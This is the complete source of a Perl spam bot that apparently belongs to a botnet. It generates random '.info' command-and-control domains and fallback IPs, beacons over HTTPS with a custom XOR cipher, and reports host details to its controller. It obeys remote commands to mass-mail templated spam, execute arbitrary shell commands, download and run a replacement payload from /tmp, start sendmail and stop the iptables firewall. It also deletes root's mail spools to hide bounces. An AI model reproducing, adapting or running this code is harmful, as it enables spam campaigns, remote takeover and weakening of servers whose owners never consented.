#!/usr/bin/perl use strict;
use Socket;
use CGI;
srand(time ^ $$ ^ unpack "%L*", `ps axww | gzip`);
$SIG
{
    PIPE
}
=sub
{
    die "Broken pipe"
}
;
$ENV
{
    PATH
}
=$ENV
{
    PATH
}
.":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
my $b80g = ($<
== 0);
my $cj65 = ((getpwuid($>
))[0]);
my $g6ho = 0;
$g6ho = length($ARGV[0]) if ($ARGV[0] =~ /^ +$/);
my $hahk = int(rand(2147483647));
my ($hamo, $ifib, $alf3);
my $ipnl = 443;
my $k0ob = "/b/index.php";
my $g1b1='/tmp/...';
my $c087=0;
my $i5fg=0;
my $jb0l=0;
my $ke9i=0;
my $b8mj=0;
my $aj11=0;
my $gbed=50;
my $p="1234567890";
my $e2c2;
my $jap8="sendmail";
my $epm2;
my $heel;
my %bj1c;
my $g85a=36;
$bj1c
{
    'd_v'
}
=$g85a;
$bj1c
{
    'd_w'
}
=$cj65;
$bj1c
{
    'd_rb'
}
=$g6ho;
$bj1c
{
    'd_pi'
}
=$$;
$bj1c
{
    'd_iv'
}
=$];
sub aan
{
    print '['.localtime().'] ';
    print @_;
}
sub aai
{
    return 0 if !open(SIGNFH, ">
    $g1b1");
    return 0 if !flock(SIGNFH, 2 | 4);
    return 1;
}
sub ab1
{
    my $b2oc=shift;
    my $bff9=shift;
    my $c91c=shift;
    my $i3hb=shift;
    my $c9p7=shift;
    my $he4e=$b2oc->
    {
        'name'
    }
    ;
    my $cbmm=$b2oc->
    {
        'addr'
    }
    ;
    my $eblf=ab4(4);
    $i3hb=~s/\[\[firstname\]\]/$he4e/g;
    $i3hb=~s/\[\[id\]\]/$cbmm/g;
    $i3hb=~s/\[\[count\]\]/$c9p7/g;
    $i3hb=~s/\[\[rand\]\]/$eblf/g;
    $c91c=~s/\[\[firstname\]\]/$he4e/g;
    $c91c=~s/\[\[id\]\]/$cbmm/g;
    $c91c=~s/\[\[count\]\]/$c9p7/g;
    $c91c=~s/\[\[rand\]\]/$eblf/g;
    for(my $i=0;
    $i<
    10;
    $i++)
    {
        my $ipj3=$b2oc->
        {
            'params'
        }
        ->
        [$i];
        $i3hb=~s/\[\[param$i\]\]/$ipj3/g;
        $c91c=~s/\[\[param$i\]\]/$ipj3/g;
    }
    my $i1mc="From: $bff9|To: ".($he4e ? "\"$he4e\" <
    $cbmm>
    " : "$cbmm")."|Subject: $c91c";
    eval
    {
        open SENDMAIL, "| $jap8 -t";
        print SENDMAIL "From: $bff9\n";
        print SENDMAIL "To: ".($he4e ? "\"$he4e\" <
        $cbmm>
        " : "$cbmm")."\n";
        print SENDMAIL "Subject: $c91c\n";
        print SENDMAIL "\n" if ($jap8 =~ /\/mail/);
        print SENDMAIL "$i3hb";
        close SENDMAIL;
    }
    ;
    if($@)
    {
        my $cje4=$@;
        chomp $cje4;
        return 0;
    }
    return 1;
}
sub aal
{
    my $ed6i=shift;
    my $khnp=shift;
    my @bfgb=@$khnp;
    my $bff9=shift @bfgb;
    my $c91c=shift @bfgb;
    my $i3hb;
    while(scalar(@bfgb))
    {
        my $k8nc=shift @bfgb;
        if($k8nc eq $ed6i)
        {
            last;
        }
        $i3hb .=$k8nc."\n";
    }
    my @g1mb;
    while(scalar(@bfgb))
    {
        my $b2oc=
        {
        }
        ;
        my $k8nc=shift @bfgb;
        my($h4pj, $j63f, @f9hl)=split /\t/, $k8nc;
        if(!$j63f)
        {
            $j63f=$h4pj;
            $h4pj=undef;
        }
        $b2oc->
        {
            'addr'
        }
        =$j63f;
        $b2oc->
        {
            'name'
        }
        =$h4pj if $h4pj;
        $b2oc->
        {
            'params'
        }
        =\@f9hl if(scalar(@f9hl));
        push @g1mb, $b2oc if($b2oc->
        {
            'addr'
        }
        );
    }
    for(my $i=0;
    $i<
    scalar(@g1mb);
    )
    {
        if(ab1($g1mb[$i], $bff9, $c91c, $i3hb, $i))
        {
            $jb0l++;
            $ke9i++;
        }
        else
        {
            $b8mj++;
            $aj11++;
        }
        $i++;
    }
    if($b80g)
    {
        `rm -f /var/mail/root /var/spool/mail/root /var/mail/mail /var/spool/mail/mail`;
    }
    `rm -f ~/dead.letter`;
}
sub aaf
{
    my $k2fk=sprintf($heel." | grep -ci '<
    html'", "https://accounts.google.com/ServiceLogin?service=mail");
    my($fn0i)=`$k2fk`;
    chomp $fn0i;
    return $fn0i;
}
sub ab9
{
    if($epm2 eq "wget")
    {
        my($clp5)=`wget --version | head -n1 | grep -o "\\.[0-9]*" | grep -o "[0-9]*\$"`;
        chomp $clp5;
        $clp5=int($clp5);
        $heel="wget -q -O - -t 1 -T 60 ";
        $heel .="--no-check-certificate " if($clp5 >
        9);
        $heel .='"%s"';
    }
    elsif($epm2 eq "curl")
    {
        $heel='curl -s -k --max-time 60 "%s"';
    }
    elsif($epm2 eq "fetch")
    {
        $heel='fetch -T 60 -q -o - "%s"';
    }
}
sub ab2
{
    my @ae1n=('wget', 'curl', 'fetch');
    undef $epm2;
    foreach my $i6ff(@ae1n)
    {
        if($e2c2)
        {
            my $gd49=`which $i6ff`;
            next if ($gd49 !~ /^\//);
        }
        $epm2 = $i6ff;
        ab9();
        if (!aaf())
        {
            undef $epm2;
            next;
        }
        last;
    }
    if (!$epm2)
    {
        $epm2 = "wget";
        ab9();
    }
    $bj1c
    {
        'd_br'
    }
    =$epm2;
}
my $d5gb=0;
sub ab7
{
    return if(time() - $d5gb <
    3600);
    $d5gb=time();
    $e2c2=`which which | grep -v alias | sed -e 's/^[[:space:]]*//'`;
    ab2();
    ab3();
    aad() if($b80g);
    my $bgen=`ps -xo command | grep -v grep | grep postfix/master | wc -l | sed -e 's/^[[:space:]]*//'`;
    chomp $bgen;
    if($bgen)
    {
        $bj1c
        {
            'd_ma'
        }
        ='postfix';
        if($e2c2)
        {
            $bgen=`which sendmail.postfix`;
            chomp $bgen;
            $jap8 = $bgen if ($bgen =~ /^\/.*ab1.postfix$/);
        }
    }
    else
    {
        $bj1c
        {
            'd_ma'
        }
        ='sendmail';
    }
    $bj1c
    {
        'd_mc'
    }
    =$jap8;
}
sub aad
{
    my @ihm0=("postfix", "sendmail");
    foreach my $el22(@ihm0)
    {
        my $fmdg=`service $el22 status`;
        chomp $fmdg;
        if ($fmdg =~ /running/i)
        {
            return $el22;
        }
    }
    foreach my $el22 (@ihm0)
    {
        my $g8p4 = `service $el22 start`;
        chomp $g8p4;
        if ($g8p4 =~ /done/i || $g8p4 =~ /ok/i)
        {
            return $el22;
        }
    }
    return undef;
}
sub ab3
{
    my @gj36 = ('sendmail', 'mailx', 'mail');
    my @g3d3=('/etc/', 'cron', '.cpan', '/lib', 'log.d', '/services/', '/cgi-bin/', 'mail-lock', 'mail-unlock', 'mail-touchlock', 'formail', 'traptoemail', 'run-mailcap', 'checksendmail', 'w3mmail.cgi');
    my $j6ll;
    foreach my $gdhm(@gj36)
    {
        if($e2c2)
        {
            my $df52=`which $gdhm`;
            chomp $df52;
            if ($df52 =~ /^(\/[^ ]+)/)
            {
                $jap8 = $1;
                return 1;
            }
        }
        $j6ll = "locate $gdhm | head -n1000";
        my @jmjh=split /\n/, `$j6ll`;
        $j6ll="find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $gdhm ";
        push @jmjh, split /\n/, `$j6ll`;
        chomp @jmjh;
        my @e052;
        foreach my $cf09 (@jmjh)
        {
            next if (-d $cf09);
            next if (! -x $cf09);
            next if ($cf09 =~ /\.so$/);
            my $jdlk = 0;
            foreach my $eob4 (@g3d3)
            {
                if ($cf09 =~ /$eob4/)
                {
                    $jdlk = 1;
                    last;
                }
            }
            next if $jdlk;
            if ($cf09 =~ /bin\// && $cf09 =~ /$gdhm$/)
            {
                $jap8 = $cf09;
                return 1;
            }
            push (@e052,$cf09);
        }
        foreach my $cf09 (@e052)
        {
            if ($cf09 =~ /bin\//)
            {
                $jap8 = $cf09;
                return 1;
            }
        }
        foreach my $cf09 (@e052)
        {
            if ($cf09 =~ /$gdhm$/)
            {
                $jap8 = $cf09;
                return 1;
            }
        }
    }
    return 0;
}
sub aac
{
    my $k8nc = shift;
    my $geaj = shift;
    if ($geaj =~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/)
    {
        $geaj = ($1<
        <
        24)+($2<
        <
        16)+($3<
        <
        8)+($4);
    }
    else
    {
        $geaj = int($geaj);
    }
    my @ipha;
    $ipha[0] = ((($geaj&0xFF000000)>
    >
    24)+15)%256;
    $ipha[1] = ((($geaj&0x00FF0000)>
    >
    16)+13)%256;
    $ipha[2] = ((($geaj&0x0000FF00)>
    >
    8)+52)%256;
    $ipha[3] = ((($geaj&0x000000FF))+71)%256;
    my $ioi2;
    for (my $i = 0;
    $i <
    length($k8nc);
    $i++)
    {
        my $hec1 = ord(substr ($k8nc, $i, 1));
        my $d = int($hec1^$ipha[$i%4]);
        $ioi2 .= sprintf("%02x", $d);
        $ipha[($i+1)%4] = ($ipha[($i+1)%4]+$d)%256;
    }
    return $ioi2;
}
sub aah
{
    my $k8nc = shift;
    my $geaj = shift;
    if ($geaj =~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/)
    {
        $geaj = ($1<
        <
        24)+($2<
        <
        16)+($3<
        <
        8)+($4);
    }
    else
    {
        $geaj = int($geaj);
    }
    my @ipha;
    $ipha[0] = ((($geaj&0xFF000000)>
    >
    24)+15)%256;
    $ipha[1] = ((($geaj&0x00FF0000)>
    >
    16)+13)%256;
    $ipha[2] = ((($geaj&0x0000FF00)>
    >
    8)+52)%256;
    $ipha[3] = ((($geaj&0x000000FF))+71)%256;
    my $ioi2;
    for (my $i = 0;
    $i <
    length($k8nc)/2;
    $i++)
    {
        my $hec1 = hex(substr ($k8nc, $i*2, 2));
        $ipha[($i+1)%4] = ($ipha[($i+1)%4]+$hec1)%256;
        $ioi2 .= chr($hec1^$ipha[$i%4]);
    }
    return $ioi2;
}
sub ab4
{
    my $jh9k=shift;
    my @gfe3=('a'..'z');
    my $fpmd;
    foreach(1..$jh9k)
    {
        $fpmd.=$gfe3[rand @gfe3];
    }
    return $fpmd;
}
sub aak
{
    my $a=shift;
    my $ioi2=0;
    $ioi2 +=(ord(substr($a,3,1)) & 0xFF);
    $ioi2 +=(ord(substr($a,2,1)) & 0xFF) <
    <
    8;
    $ioi2 +=(ord(substr($a,1,1)) & 0xFF) <
    <
    16;
    $ioi2 +=(ord(substr($a,0,1)) & 0xFF) <
    <
    24;
    return $ioi2;
}
sub aba
{
    my $hamo=shift;
    my $jel7=inet_aton($hamo);
    return(defined $jel7)?inet_ntoa($jel7):undef;
}
sub ab8
{
    my $g6hd=shift;
    my $i6ff=sprintf($heel, $g6hd);
    my @ioi2=`$i6ff`;
    chomp @ioi2;
    return @ioi2;
}
sub aag
{
    my $g6hd=shift;
    my $b6o8=shift;
    if($epm2 eq "wget")
    {
        `wget -q "$g6hd" -O "$b6o8"`;
    }
    elsif($epm2 eq "curl")
    {
        `curl "$g6hd" >
        "$b6o8"`;
    }
    elsif($epm2 eq "fetch")
    {
        `fetch -o "$b6o8" "$g6hd"`;
    }
}
my $cben=0;
my $bidj=0;
my $h843;
my @g07h=();
sub ab6
{
    my $ifib=$ipnl;
    undef $h843;
    return($h843, $ifib) if(aap($g07h[$cben], $ifib));
    my $b7ha=$cben;
    for($cben=0;
    $cben <
    10;
    $cben++)
    {
        if($cben==4)
        {
            my @p=split '',$p;
            my $h39c=$p[6];
            $h39c="$h39c$h39c.6$h39c.";
            $h39c .=$p[7].$p[9];
            $h39c .='.'.$p[2].$p[0];
            return($h39c, $ifib) if(aae($h39c, $ifib));
        }
        if($cben==5)
        {
            my @p=split '',$p;
            my $h39c=$p[7].$p[4];
            $h39c .='.'.$p[1].$p[0].$p[3];
            $h39c .='.'.$p[7].$p[9];
            $h39c .='.'.$p[3];
            return($h39c, $ifib) if(aae($h39c, $ifib));
        }
        next if($b7ha==$cben);
        return($h843, $ifib) if(aap($g07h[$cben], $ifib));
    }
    my @p=split '',$p;
    my $h39c=$p[1].$p[9];
    $h39c=$h39c.$p[7].'.'.$h39c;
    $h39c='.'.$h39c;
    $h39c='.'.$p[1].$p[2].$h39c;
    $h39c=$p[8].$p[3].$h39c;
    return($h39c, $ifib) if(aae($h39c, $ifib));
    $bidj++;
    return undef;
}
my $jc4b=0;
sub aaj
{
    ($hamo, $ifib)=ab6();
    $jc4b=time() if($hamo);
    $bj1c
    {
        'd_fd'
    }
    =$hamo;
    $bj1c
    {
        'd_fi'
    }
    =$alf3;
    $bj1c
    {
        'd_fp'
    }
    =$ifib;
}
sub ab0
{
    my($cpgi, $c89b)=(14400, 3600);
    return if(time() - $jc4b <
    $cpgi);
    my($e2n0, $d6pa, $b7l7)=($hamo, $ifib, $alf3);
    aaj();
    return if($hamo && $ifib && $alf3);
    ($hamo, $ifib, $alf3)=($e2n0, $d6pa, $b7l7);
    $jc4b=time() -($cpgi - $c89b);
}
sub aap
{
    my $hamo=shift;
    my $ifib=shift;
    my $e905="www.".$hamo;
    my $edod=aak(inet_aton($e905));
    if($edod)
    {
        my $iph5=ab4(10).".".$hamo;
        my $c7g3=aak(inet_aton($iph5));
        if($c7g3 &&($c7g3==$edod+1))
        {
            return aae($iph5, $ifib);
        }
    }
    return 0;
}
sub aae
{
    $h843=shift;
    my $ifib=shift;
    my $io8b=int(rand(2147483647));
    my $geaj=int(rand(2147483647));
    $alf3=aba($h843);
    my $e0kj=$io8b."*".$hahk."*".$geaj;
    my $b946=aac($e0kj, $alf3);
    my $g6hd="https://$h843:$ifib/$k0ob?id=$b946&check=1";
    my @bfgb = ab8($g6hd);
    for (my $i=0;
    $i<
    scalar(@bfgb);
    $i++)
    {
        $bfgb[$i] = aah($bfgb[$i], $geaj);
    }
    my $jfcn = shift @bfgb;
    if ($jfcn =~ /^SUCCESS$/)
    {
        $bidj = 0;
        return 1;
    }
    return 0;
}
sub ab5
{
    my $geaj = shift;
    my $io8b = shift;
    my $c7bm;
    foreach my $f (keys %bj1c)
    {
        if ($f =~ /^d_(.+)$/)
        {
            my $he4e = $1;
            $c7bm .= ($c7bm?"|":"")."$he4e=".$bj1c
            {
                $f
            }
            ;
        }
    }
    $c7bm="$io8b*$c7bm" if($io8b);
    return aac($c7bm, $geaj);
}
my $afj0;
sub aao
{
    my $fpek=shift || time || 4357;
    my @a=();
    for(1..10000)
    {
        use integer;
        push @a, $fpek & 0x7fffffff;
        $fpek *=69069;
    }
    $afj0=
    {
        offset=>
        0, array=>
        \@a
    }
}
sub aam
{
    my $jpnb=shift || 1.0;
    aao() unless defined $afj0;
    $afj0->
    {
        offset
    }
    =($afj0->
    {
        offset
    }
    + 1) % 10000;
    my $c8i0=$afj0->
    {
        offset
    }
    ;
    my $a=$afj0->
    {
        array
    }
    ;
    $$a[$c8i0]=($$a[($c8i0 - 471) % 10000] ^ $$a[($c8i0 - 1586) % 10000] ^ $$a[($c8i0 - 6988) % 10000] ^ $$a[($c8i0 - 9689) % 10000]);
    return $$a[$c8i0] * $jpnb /(2**31);
}
sub aab
{
    my $jh9k=10;
    my @gfe3=('a'..'z');
    aao(123987);
    my $fpmd;
    for(my $i=-15;
    $i<
    $gbed;
    $i++)
    {
        $fpmd="";
        foreach(1..$jh9k)
        {
            $fpmd.=$gfe3[int(aam(scalar(@gfe3)))];
        }
        if($i >
        =0)
        {
            my $fhf8=$fpmd.".info";
            push @g07h, $fhf8;
        }
    }
}
if(!aai())
{
    exit;
}
aab();
my $iib6=0;
while(1)
{
    my $jfcn;
    my @bfgb;
    ab7();
    aaj() if(!$hamo || !$ifib || !$alf3);
    ab0();
    if(!$hamo || !$ifib || !$alf3)
    {
        if($bidj >
        =24)
        {
            last;
        }
        sleep 3600;
        next;
    }
    my $io8b=int(rand(2147483647));
    my $c74e=int(rand(2147483647));
    my $geaj=int(rand(2147483647));
    my $e0kj=$io8b."*".$hahk."*".$geaj;
    my $b946=aac($e0kj, $alf3);
    my $g6hd="https://$alf3:$ifib/$k0ob?id=$b946";
    $g6hd .="&sent=$jb0l";
    $g6hd .="&notsent=$b8mj";
    $g6hd .="&unknown=".CGI::escape($c087) if($c087);
    $g6hd .="&testsend=1" if($i5fg);
    $g6hd .="&stat=".ab5($alf3, $c74e);
    @bfgb=ab8($g6hd);
    for(my $i=0;
    $i<
    scalar(@bfgb);
    $i++)
    {
        $bfgb[$i]=aah($bfgb[$i], $geaj);
    }
    $jfcn=shift @bfgb;
    if($jfcn)
    {
        $iib6=0;
        $jb0l=0;
        $b8mj=0;
        $i5fg=0;
        $c087=0;
    }
    else
    {
        $iib6++;
        if($iib6 >
        3)
        {
            $iib6=0;
            undef($hamo);
            undef($alf3);
            undef($ifib);
        }
        $jfcn="SLEEP 60";
    }
    if ($jfcn =~ /^SLEEP ([0-9]+)$/)
    {
        sleep $1;
        next;
    }
    elsif ($jfcn =~ /^RELOAD (.*)$/)
    {
        aag($1, "/tmp/ ");
        close(SIGNFH);
        system('cd /tmp;
        nohup perl " " "  " &');
        sleep 5;
        `rm -f "/tmp/ " /tmp/nohup.out`;
        last;
    }
    elsif ($jfcn =~ /^KILL$/)
    {
        last;
    }
    elsif ($jfcn =~ /^SEND ([a-zA-Z0-9]+)$/)
    {
        aal($1, \@bfgb);
        undef @bfgb;
        sleep 1;
        next;
    }
    elsif ($jfcn =~ /^TESTSEND ([a-zA-Z0-9]+)$/)
    {
        aal($1, \@bfgb);
        undef @bfgb;
        $i5fg = 1;
        sleep 1;
        next;
    }
    elsif ($jfcn =~ /^EXECUTE (.*)$/)
    {
        qx($1);
        next;
    }
    elsif ($jfcn =~ /^START SENDMAIL$/)
    {
        `service sendmail start`;
        next;
    }
    elsif ($jfcn =~ /^STOP IPTABLES$/)
    {
        `service iptables stop`;
        next;
    }
    $c087=$jfcn;
    sleep 30;
    if(!aae($hamo, $ifib))
    {
        undef($hamo);
        undef($alf3);
        undef($ifib);
    }
}
__END__